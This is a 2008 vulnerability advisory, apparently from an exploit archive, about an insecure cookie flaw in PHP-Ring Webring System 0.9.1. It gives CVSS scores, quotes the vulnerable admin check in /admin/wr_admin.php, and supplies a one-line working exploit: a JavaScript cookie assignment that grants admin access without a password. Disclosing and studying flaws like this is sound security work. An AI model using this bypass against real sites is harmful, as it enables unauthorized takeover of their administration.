PHP-Ring Webring System 0.9.1 Insecure Cookie Handling Vulnerability

2008.08.14
Credit: virangar
Risk: High
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

############################################################################################### # # # ...:::::PHP-Ring Webring System v0.9.1 Insecure Cookie Handling Vulnerability ::::.... # ############################################################################################### Virangar Security Team www.virangar.net www.virangar.ir -------- Discoverd By :virangar security team(hadihadi) special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra & all virangar members & all hackerz greetz:to my best friend in the world hadi_aryaie2004 & my lovely friend arash(imm02tal) ------- DESCRIPTION: PHP-Ring Webring System , suffers from insecure cookie handling, when a admin login is successfull the script creates a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are logged in as a legit admin. --- vuln code in /admin/wr_admin.php $cookie = $_COOKIE[admin]; //check for cookie if (($cookie == "" OR $_GET[stop] == 1 OR !is_admin($cookie)) && $_GET[op] != "login" && $_GET[op] != "logout") { include("../templates/wr_header.php"); echo "Enter admin username and password to log in"; .... .... .. } else { function adminhome() // load admin settings --- exploit: javascript:document.cookie = "admin=1; path=/"; ----- now visit /admin and you can get admin access and manage the cms ;) ------- young iranian h4ck3rz

References:

http://www.securityfocus.com/bid/30624
http://www.milw0rm.com/exploits/6225


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